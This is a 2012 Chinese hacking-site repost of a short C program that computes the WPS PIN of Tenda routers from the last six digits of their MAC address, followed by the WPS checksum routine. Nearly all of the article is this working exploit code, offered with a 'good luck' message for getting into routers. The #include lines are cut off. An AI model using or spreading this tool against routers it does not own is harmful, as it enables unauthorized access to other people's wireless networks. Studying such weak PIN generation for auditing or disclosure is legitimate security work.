安全黑客
当前位置:安全黑客文章资讯编程技术VC/C++编程
日期:2012-04-15 15:27:00  来源:本站整理

已知MAC计算PIN程序 C 程序源码[VC/C++编程]

赞助商链接



  本文“已知MAC计算PIN程序 C 程序源码[VC/C++编程]”是由安全黑客为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

  //Computes PIN code starts with OUI "C83A35" and "00B00C"

  //Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.

  //Coded by Zhaochunsheng - iBeini.com

  //Modified by Lingxi - WiFiBETA.COM

  #include

  #include

  int main()

  {

  unsigned int wps_pin_checksum(unsigned int pin);

  int PIN = 0;

  // printf("ComputePIN-C83A35\n");

  printf("Description:\n");

  printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n");

  printf("type the other six digits, you might be able to get the \n");

  printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");

  printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");

  printf("Modified by Lingxi - WiFiBETA.COM\n\n");

  //Translated to Chinese

  printf("阐明:\n");

  printf("假如您的无线路由器MAC地址以“C83A35”或“00B00C”打头,\n");

  printf("输入后六位MAC地址(不分大小写)您大概可以得到该路由的WPS PIN密钥!\n");

  printf("祝你好运!\n\n");

  printf("由赵春生编写于2012年4月7日 Http://iBeini.com\n");

  printf("由灵曦改正并汉化 WiFiBETA.COM\n\n");

  printf("请输入后六位MAC地址(HEX):\n");

  printf("Input the last 6 digits of MAC Address(HEX):");

  scanf("%x",&PIN);

  printf("您输入的后六位MAC地址是 %X\n",PIN);

  printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN);

  printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));

  return 0;

  }

  unsigned int wps_pin_checksum(unsigned int pin)

  {

  unsigned int accum = 0;

  while (pin)

  {

  accum += 3 * (pin % 10);

  pin /= 10;

  accum += pin % 10;

  pin /= 10;

  }

  return (10 - accum % 10) % 10;

  }


  以上是“已知MAC计算PIN程序 C 程序源码[VC/C++编程]”的内容,如果你对以上该文章内容感兴趣,你可以看看安全黑客为您推荐以下文章:
  • 已知MAC计算PIN程序 C 程序源码
  • 本文地址: 与您的QQ/BBS好友分享!

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    免责条款 - 广告合作 - 下载声明 - 欢迎投稿 - 友情连接 - 网站地图 -
    Copyright © 2012-2013 www.110hack.com. All Rights Reserved .